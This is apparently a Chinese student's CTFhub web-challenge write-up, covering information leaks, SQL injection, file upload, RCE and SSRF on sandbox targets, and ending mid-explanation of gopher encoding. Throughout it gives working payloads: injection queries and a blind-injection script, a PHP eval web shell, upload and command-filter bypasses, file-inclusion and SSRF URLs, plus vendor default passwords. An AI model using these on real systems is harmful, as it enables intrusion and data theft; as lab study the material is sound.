CTFhub Web刷题记录

前言

第一次了解到CTF是进入大学后,学校的学长介绍。而正式接触CTF则是在参加学校举办的ctf比赛的那一周,之后虽然断断续续地接触ctf,做了一些题,但都是拿到问题才去学习相关的知识和解题方法,始终没有去系统地学习。因此打算先从CTFhub开始,由易到难,打好基础。(有一些之前做过的题目就简单记录一下)

Web

Web前置技能

HTTP协议

请求方法

提示需要用CTFhub的请求方法,用burpsuite抓包,把请求方式改成CTFhub再发送,就得到了flag

302跳转

直接点击并无法得到flag,用bp抓包,发到重发器,发送请求,得到flag

还有一种是用curl 访问index.php得到flag

打开就一句话,“hello guest. only admin can get flag.”

用BurpSuite抓包,修改Cookie: admin=0为Cookie: admin=1

然后放包,就能得到flag

基础认证

先随便填一下,用bp抓包看看

将MTExMToxMTEx用base64解密,得到1111:1111,就是刚才输入的用户名:密码

然后拦截此响应的请求,看一下它的请求报文

发现这句话,因此猜测用户名就是admin,但是还是不知道密码,先用爆破试试可不可以

右键发送到 Intruder, 将 Basic 后面 base64 (那个加密后的密文)部分添加为 payload position

攻击类型选择Sniper,

再载入准备好的字典,同时还是要注意那个密文的格式是用户名:密码,因此还需再前面加上前缀(admin:)并用base64加密

Payload Processing -> Add-> Add Prefix(添加前缀)-> 输入 admin:

同时,取消勾选的 URL-encode

爆破成功,拿到flag

响应包源代码

这个直接右键,检查,查看源码,就能看到flag

信息泄露

目录遍历

在目录一个一个翻,找到flag.txt文件,就得到flag了

PHPINFO

phpinfo() 是php中查看相关信息的函数,当在页面中执行phpinfo()函数时,php会将自身的所有信息全部打印出来。在phpinfo中会泄露很多服务端的一些信息

Ctrl+f 搜索 ctfhub,找到flag

备份文件下载

相比在浏览器访问然后下载备份文件,似乎用curl操作比较方便,不用下载备份文件

网站源码

常见的网站源码备份文件后缀

tar tar.gz zip rar

常见的网站源码备份文件名

web website backup back www wwwroot temp

按它的提示一个一个组合尝试,发现www.zip可访问,下载下来,解压打开文件,发现flag

用御剑扫描目录也可以

bak文件

有些时候网站管理员可能为了方便,会在修改某个文件的时候先复制一份,将其命名为xxx.bak。而大部分Web Server对bak文件并不做任何处理,导致可以直接下载,从而获取到网站某个文件的源代码

它提示“Flag in index.php source code.”,于是访问/index.php.bak路径,下载bak文件

打开得到flag

vim缓存

当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:第一到三次产生的交换文件名依次为为 .index.php.swp 、 .index.php.swo 、 .index.php.swn

因此先尝试访问/.index.php.swp路径(注意不要忽略这个“ . ”)

发现能够访问,将文件下载下来,并打开得到flag(打开方式选择记事本就可以)

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

这次用curl来操作,打开虚拟机终端

1
curl http://challenge-83a6acbc04383b3b.sandbox.ctfhub.com:10800/.DS_Store --output -

发现似乎有一个txt文件可以访问

访问/3299021432dcd12b95ea27993a3c2dab.txt ,得到flag

Git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题

先在kali配置好GitHack这个工具配置教程

对git不是很了解,附上一篇别人的wp,以及菜鸟教程

判断是否存在git泄露:

①题目直接的提示
②如果没有提示的话,可以利用 dirsearch 命令工具使用这类扫描工具,如果存在./git泄露的问题的话,会被扫描出来的
③最直观的方式,就是直接通过网页访问.git目录,如果能访问就说明存在
当确认存在这个漏洞之后,就可以通过工具来下载git泄露的全部源码(工具例如:GitHack等等)

Log

使用GitHack (如果直接使用python不成功的话,可能因为python版本不匹配,改用python2就好了)

1
python2 GitHack.py http://challenge-b8c5f98cede73d6e.sandbox.ctfhub.com:10800/.git

可以看到在dist目录下生成了一个目录,cd到该目录,查看git的历史日志信息

1
git log

不难看出,在第二次修改时add flag,说明我们所要的flag就在第二次修改时加入文件中,使用git reset这一个版本回退命令来查看flag

1
2
git reset --hard +对应版本的commit
例:git reset --hard 0037c2045e98f9067b2101944060c954cb880bb5

这时候在ls查看,发现多了一个.txt文件

查看该文件的内容,发现flag

1
cat 25514197631280.txt

Stash

stash 用于保存 git 工作状态到 git 栈,在需要的时候再恢复。

1
python2 GitHack.py http://challenge-c1e9c8c119a100a0.sandbox.ctfhub.com:10800/.git 

利用git stash list列出Git栈内的所有备份,可以利用这个列表来决定从那个地方恢复。

1
git stash list

利用git stash pop从Git栈中读取最近一次保存的内容

1
2
3
git stash pop
ls -a
cat 9187246298264.txt

Index

和上题差不多,先githack克隆,git log ,再回退版本,然后ls

在cat查看,就得到了flag

SVN泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

判断方式:扫描发现有 .svn/ 目录,确认是 .svn 泄露。

工具安装教程

cd到该工具的目录

1
./rip-svn.pl -u http://challenge-82374f7687d13d4d.sandbox.ctfhub.com:10800/.svn

列出所有文件(包括隐藏文件)

1
ls -al

1
2
cd .svn
ls

然后遍历一下目录,在.svn/pristine/f6目录的一个.svn-base文件找到flag

HG泄露

判断方式:扫描发现有 .hg/ 目录,确认是 .hg 泄露。

使用 dvcs-ripper 工具中的 rip-hg.pl 脚本进行 clone

1
./rip-hg.pl -u http://challenge-258af49b378b33f9.sandbox.ctfhub.com:10800/.hg

ls -al发现.hg这个隐藏文件夹

在.hg/store/fncache文件下发现 在data文件夹有flag_3218921203.txt.i这个文件,但cd到data目录下却空空如也

于是用curl直接访问靶机网站的flag_3218921203.txt(注意没有.i)

1
curl http://challenge-258af49b378b33f9.sandbox.ctfhub.com:10800/flag_3218921203.txt

得到flag

注:如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__3218921203.txt.i 注意下划线是两个

1
curl http://challenge-258af49b378b33f9.sandbox.ctfhub.com:10800/.hg/store/data/flag__3218921203.txt.i

密码口令

弱口令

用bp直接爆破就可以拿到flag了

介绍如何使用bp爆破的文章

默认口令

这次登录有了验证码,不能用bp爆破了,但题目又说默认密码,且登录界面有着eyou邮件网关标志,于是去网上搜一下“eyou网关默认密码”,其实被找到默认密码,但是直接找到这道题的wp,亿邮的邮件网关系统,系统有三个默认的帐号(admin:+-ccccc、eyougw:admin@(eyou)、eyouuser:eyou_admin) 的账户信息,输入账号密码就拿到flag了

感觉有点社工的味道

SQL注入

参考文章1

参考文章2

整数型注入

先判断是什么类型的注入(虽然它已经说了是整数型注入,但还是记录一下方法)、

1
2
1 and 1=1 #返回正确  
1 and 1=2

如果是数字型注入的话,这里就会有一个逻辑判断,会判断出1不等于2,没有语法错误但有逻辑错误,所以返回一个null值,返回错误页面。

若1 and 1=2报错,就是整数型(数字型)注入

1
select  from <表名> where id = x and 1=2

没报错,即字符型报错

1
select  from <表名> where id = 'x and 1=2'

判断字段数,发现字段数为2

1
2
1 order by 1,2,3  #报错
1 order by 1,2 #没错

爆出数据库

1
-1 union select 1,database()

关于为什么是-1:如果不改的话执行后就不显示显示后面的内容,仍然查询的第一个的内容,也就是仍然查询?id=1,那么把?id=1的写成0或-1就可以了,写成它查询不到的内容,它比较发现是-1或者0那么它返回的值就是null,就会执行后面的内容。

指定数据库名sqli,爆表

1
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' 

指定表flag,爆字段名

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' 

指定字段flag,爆字段内容

1
-1 union select 1,group_concat(flag) from sqli.flag 

字符型注入

select from <表名> where id = ‘x and 1=1’

先尝试注释掉后面的 ’

1
1'#

发现没有过滤,可以直接注入

接下来的流程就跟数字型差不多,只是有点细微的区别

判断列数

1
2
1' order by 1,2,3#
1' order by 1,2#

爆出数据库

1
-1' union select 1,database()#

指定数据库,爆表

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

指定表,爆字段

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

最后爆字段内容,得到flag

1
-1' union select 1,(select flag from flag)#

报错注入

先随便尝试输入,发现有报错回显

1
1#

发现可以使用三种方法extractvalue()、 updatexml() 、floor()

这里以extractvalue报错注入为例

extractvalue()里面用select语句,不能用union select

concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

依次爆库、爆表、爆字段、爆字段内容

1
2
3
4
5
6
7
8
1 and extractvalue(null,concat(0x7e,(database()),0x7e))

1 and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

1 and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e))

1 and extractvalue(null,concat(0x7e,(select flag from flag ),0x7e))

但明显,这个flag不完整,可以借助mid()函数用于提取字符,用法

1
2
3
4
5
SELECT MID(column_name,start[,length]) FROM table_name;

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e)) //提取从1到16的字段

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e)) //提取剩余的字段

组合起来得到flag

布尔盲注

打开环境后,先随便注入看看,发现只有当数据库查询结果存在时,才会回显query_success

因此可以通过盲注,来一个一个试,当它返回success时,就是正确(数据库存在)的内容,可以使用if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确

1
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

这边s意思是判断数据库第一个字母是否为s

自己一个一个试太慢了,直接上网上找的脚本,或者用sqlmap操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests

urlOPEN = 'http://challenge-5aaeb58d25ce5ac1.sandbox.ctfhub.com:10800' #换成自己环境的url
starOperatorTime = []
mark = 'query_success' #回显正确的标志

def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i

print(name)

break
print('database_name:',name)



def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)


def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)


def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)



if __name__ == '__main__':
database_name()
table_name()
column_name()
get_data()

过一会儿就拿到flag了

时间盲注

还真跟它说的那样,怎么都不回显,这就是时间盲注吗?

sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;

老样子,要么用sqlmap,要么直接上脚本(网上找的)

脚本跑完得到flag

但这里还是以sqlmap为例吧

先用bp把post请求粘贴复制到1.txt,再传到虚拟机,采用sqlmap扫描(GET请求方式),最后爆破出flag

1
sqlmap -u http://challenge-b5ffe297cd9ef4f0.sandbox.ctfhub.com:10800/?id=1 --dbs

1
sqlmap -u http://challenge-b5ffe297cd9ef4f0.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

1
sqlmap -u http://challenge-b5ffe297cd9ef4f0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --column

1
sqlmap -u http://challenge-b5ffe297cd9ef4f0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C "flag" --dump

MySQL结构

见识到了sqlmap的强大,直接跟之前一样,用sqlmap跑一遍就出来了flag

Cookie注入

这种类型的注入要用到ModHeader比较方便操作,当然在bp也是可以的

利用ModHeader在cookie进行注入

填好值后,刷新页面就可以执行了

接下来就是常规流程,跟之前差不多的操作,爆库、爆表、爆字段,最后拿到flag

1
2
3
4
5
id=1 order by 1,2
id=-1 union select 1,database()
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='bngaldhqgq'
id=-1 union select 1,group_concat(xptwczzbfa) from sqli.bngaldhqgq

UA注入

UA就是User-Agent的缩写,中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。

已经告诉我们注入点在User Agent了,用bp抓包,在User Agent注入就可以了

走一遍流程(没有其他限制)

1
2
3
4
5
id=1 order by 1,2
id=-1 union select 1,database()
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='pqrlakwxdj'
id=-1 union select 1,group_concat(dwgbghgxbx) from sqli.pqrlakwxdj

也可以用sqlmap,具体操作看教程(记得把探测等级提升到3 –level 3)

1
sqlmap -u http://challenge-470aa9668eb64381.sandbox.ctfhub.com:10800/ --level 3 --dbs

Refer注入

步骤跟上面的UA注入差不多,只是这次注入点在Refer

这边需要自己加上Referer:

然后老样子,就得到flag了

1
2
3
4
5
id=1 order by 1,2
id=-1 union select 1,database()
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ynlxzzmwpj'
id=-1 union select 1,group_concat(zqakgdptry) from sqli.ynlxzzmwpj

同样也可以用sqlmap,具体操作看教程(记得把探测等级提升到5 –level 5)

过滤空格

如果输入值有空格,它会回显Hacker!!!

经过尝试发现可以使用/**/代替空格绕过(%09 %0A %0D +也行)

然后还是按步骤来就可以了

1
2
3
4
id=-1/**/union/**/select/**/1,database()
id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='tuvzzdtchn'
id=-1/**/union/**/select/**/1,group_concat(ieirtujwgz)/**/from/**/sqli.tuvzzdtchn

文件上传

判断上传木马类型

PHP、JSP、ASPX

通过环境来看,基本判断方式有以下几种:

1
2
3
1.看文件后缀
2.插件检测(Wappalyzer)
3.响应包判断

1.如网页显示 xxxx.com/index.php,或者右键源代码中,表单提交action="upload.php"

2.有一款浏览器插件叫做Wappalyzer,可以检测当前页面的基础环境,如中间件,前后端语言等

3.看响应包如burpsuite的响应包如下:X-Powered-By: PHP/7.3.14

无验证

已经说了是无验证,直接上写好的一句话木马,再蚁剑连接就行了

1
<?php eval(@$_POST['a']); ?>

这里的a就是蚁剑连接的连接密码,同时蚁剑的路径需要对应木马的路径

连接上,遍历目录就找到flag啦

前端验证

验证分为前端验证和后端验证,这里就是前端验证

直接上传会显示

查看它的前端文件,发现在前端对上传的文件进行限制

仅允许上传jpg、png、gif文件

于是先上传一个jpg的木马文件,再通过bp抓包,将其后缀改成php以绕过验证

然后蚁剑连接,遍历目录找到flag

1
ctfhub{1d89db04496cc1b16693017b}

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

这次是再后端限制了一些文件类型的上传,不过它已经在前端的注释里给了我们提示

先构造.htaccess文件,并上传

1
2
3
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

FileMatch 参数即为文件名的正则匹配,代码中的意思就是将文件名后缀为的文件当成php解析

成功上传后,再上传文件1.jpg的木马

然后.htaccess会将文件解析为php

之后通过蚁剑成功连接,遍历目录就能找到flag了

MIME绕过

MIME即文件类型检测, Content-Type: image/png

题目已经提示是MIME绕过了,因此我们需要绕过文件类型检测

直接上传php木马会提示文件类型不正确

所以抓包,把文件类型改成符合的就行了,先试试**Content-Type: image/png **

上传成功,蚁剑连接,得到flag

不使用蚁剑的话,也可以通过脚本来执行命令

1
<?php passthru("ls /var/www/html");?>

00截断

php环境00截断的条件

  • php版本小于5.3.29
  • magic_quotes_gpc = Off

相关的解释

进一步理解

直接上传会显示文件类型不匹配

源代码中已经在注释里给了后端的部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}

只接受jpg, png, gif后缀的文件,同时对文件名进行了拼接修改

1
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {

可以使用00截断,从而绕过限制

上传后缀为白名单内的文件

再抓包,进行截断

根据代码能知道,是在road处进行截断

在filename=2.php进行截断也是绕不过白名单检测的

接着蚁剑连接http://challenge-b87731fe4a55ce98.sandbox.ctfhub.com:10800/upload/2.php

得到flag

双写后缀

直接上传php发现,php这个字符被过滤掉了

于是双写php绕过

成功上传,蚁剑连接,找到flag

文件头检测

打开画图软件,随便涂几笔,再另存为png文件(能够通过文件头检测得文件类型),接着在该文件末尾加上一句话木马

然后上传,抓包,将12.png改为12.php

蚁剑连接,得到flag

RCE

eval执行

1
2
3
4
5
6
7
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>

就单纯的eval执行,什么限制都没有

1
http://challenge-fb7659ac402de375.sandbox.ctfhub.com:10800/?cmd=system("cat /*f*");

直接执行命令,就得到flag了

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

题目给了提示,访问shell文件,里面是个一句话木马<?php eval($_REQUEST['ctfhub']);?>

在审计一下代码,主要的是这句

1
include $_GET["file"];

include函数的作用:简单理解成

假如在index.php中include了一个文件

那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中

所以这道题的payload构造思路就是把shell.txt里的内容想办法放到index.php中去

1
?file=shell.txt

于是构造这样的payload,这样shell.txt的内容,也就是一句话木马会出现在当前这个页面

然后就是蚁剑连接拿shell,遍历目录,找到flagl

遍历目录太麻烦了,可以直接在虚拟终端用命令行找

php://input

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

代码要求GET传参的前6个字符是php://(强比较),然后还是include()函数

这种情况可以考虑伪协议php://inputphp://filter.其中php://input要求allow_url_include设置为On

题目也提示了phpinfo这个文件,点进去发现llow_url_include是设置为On的

所以直接GET传参

1
?file=php://input

然后再通过POST方式写入要执行的脚本

1
<?php system("cat /*f*");

读取源代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

看了一下,代码和上一题没什么区别,就多了个提示flag在/flag路径。同时phpinfo也看不了,这样就无法判断allow_url_include是否设置为On

先试一下php://input伪协议

果然行不通了,应该allow_url_include没有设置为On

这样只能用php://filter伪协议了

参考一下别人的解释(wp):

php://filter可以作为一个中间流来处理其他流,具有四个参数:

名称 描述 备注
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符 | 分隔 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符 | 分隔 可选
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

因为题目已经提示了flag在/flag,所以构造出:

1
?file=php://filter/resource=/flag

远程包含

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

代码和之前有点细微的区别,但不多

strpos() 是 PHP 中的一个内置函数,用于查找一个字符串在另一个字符串中的首次出现位置。它返回首次出现的位置的索引,如果未找到该字符串,则条件为真。

所以只要传入file的值没有flag字符就行了

再去看看phpinfo中的allow_url_include,发现设置On了

既然这样的话,继续用php://input方法就可以了

虽然说题目是远程包含,但确实用php://input就可以做出来了

命令注入

下面展示了常用的管道符。
Windows系例支持的管道符如下所示。
“|”:直接执行后面的语句。例如:ping 127.0.0.1lwhoami.
”||“:如果前面执行的语向执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2 1l whoamio
”&”:如果前面的语句为假则直接执行后面的语向,前面的语句可真可假。例如:ping 127.0.0.1& whoamio
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语向只能为真。例如:ping 127.0.0.1 & &whoami.
Linux系统支持的管道符如下所示。
“;”:执行完前面的语向再执行后面的。例如:ping 127.0.0.1;whoami。
“|”:显示后面语句的执行结果。例如:ping 127.0.0.1/whoamio
“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1/lwhoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami.
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。

在回来看这题

并没有任何过滤,直接执行

1
127.0.0.1|ls

再执行

1
127.0.0.1|cat 32053982514587.php

查看源代码,找到flag

过滤cat

没什么特别的,就过滤了cat

除了cat,读取文件的方式还有很多,参考ctf里读取文件相关知识点总结

1
2
127.0.0.1|ls
127.0.0.1|tac flag_89112902428893.php

tac用于将文件以行为单位的反序输出

过滤空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

这次也就过滤了空格而已,绕过的方法有很多

1
2
3
4
5
6
7
<
%09
$IFS
${IFS}
$IFS$9
%20(space)
{cat,/flag}

随便选一个就可以了

1
2
127.0.0.1|ls
127.0.0.1|cat<flag_132022376229584.php

过滤目录分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

可以用${PATH:0:1}代替/

1
2
3
127.0.0.1|ls
127.0.0.1|ls .${PATH:0:1}flag_is_here
127.0.0.1|cat .${PATH:0:1}flag_is_here${PATH:0:1}flag_28406127618971.php

过滤运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

匹配过滤掉了大部分运算符,唯独没过滤

1
2
;ls
;cat flag_317982739612.php

综合过滤练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

好家伙,一下子过滤了这么多\||&|;| |\/|cat|flag|ctfhub

过滤了运算符,绕过的方式有%0a、%0d、%0D%0A

在 URL 编码中,%0A%0D%0D%0A 是特定字符的编码表示形式。

  1. %0A:表示换行符(Line Feed),对应 ASCII 字符值为 10。在 Unix 系统中,换行符用于表示文本中的新行。
  2. %0D:表示回车符(Carriage Return),对应 ASCII 字符值为 13。在老的 Macintosh 系统中,回车符用于表示文本中的新行。
  3. %0D%0A:表示回车符后紧跟换行符的组合,即回车换行(Carriage Return + Line Feed)。在 Windows 和其他一些操作系统中,回车换行用于表示文本中的新行。
1
127.0.0.1%0als

解决了运算符,下一步就是

${IFS}代替空格(用<不行)

再用????_is_here匹配文件flag_is_here

或者fl$*ag_is_here也行

1
127.0.0.1%0als${IFS}????_is_here

然后用${PATH:0:1}代替/

1
127.0.0.1%0atac${IFS}????_is_here${PATH:0:1}????_10866174247240.php

SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造),就是攻击者利用服务器能访问其他的服务器的功能,通过自己的构造服务器请求来攻击与外界不相连接的内网

第一部分

内网访问

直接构造url参数为127.0.0.1/flag.php

1
http://challenge-c58f40dd07e11ab0.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

拿到flag

伪协议读取文件

file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http和https协议
作用:
探测内网主机存活

dict协议
作用:
泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

在这里我们直接用file://协议就好了

1
?url=file:///var/www/html/flag.php

这里的/var/www/html/是一般的网站目录,但也不能太绝对

端口扫描

题目已经提示了端口是8000-9000

于是,抓包,从8000扫到9000。附个数字字典生成网站

1
http://challenge-8be8b3592bfd6fd7.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000

根据返回长度来发现不同的响应,以此找到藏有flag的端口

第二部分

POST请求

题目的提示:这次是发一个HTTP POST请求.对了ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

先试试能不能内网访问

1
/?url=127.0.0.1

发现可以,于是拿出dirsearch开扫

1
dirsearch -u "http://challenge-239da6a7eea04cb2.sandbox.ctfhub.com:10800/?url=127.0.0.1/""

扫出flag.php和index.php路径,但index.php路径是302跳转

访问flag.php得到了个key,再去访问index.php

发现啥都没有,可能因为是302的缘故,那用

1
file:///var/www/html/index.php

得到一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向)
curl_exec($ch);
curl_close($ch);

但还是不知道那个key到底如何用,后来发现了,

1
/?url=file:///var/www/html/flag.php

也能访问,于是访问,再次得到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

现在思路就清晰了,当post传值为key时输出flag

所以用hackbar去POST传参key值,

发现行不通呀,去看了一下别人的wp

知道index.php能够接受url传参(从127.0.0.1进行访问),那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包的内容包含flag.php中的key。

用法:URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流(有个_是因为gopher协议会吃掉第一个字符 ,并且通常用 _但 并不是只能用 _)

需要我们构建一个POST请求包来发送这个KEY。

gopher://127.0.0.1:80/_

POST包的最基本的要求如下:

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=958d155cdbc801cb749fd7a31b397240

Content-Length: 36就是key长度,然后就可以开始编码了

但是要进行几次编码呢?取决于你的请求次数,这里需要编码3次

具体原因看一下别人的解释:

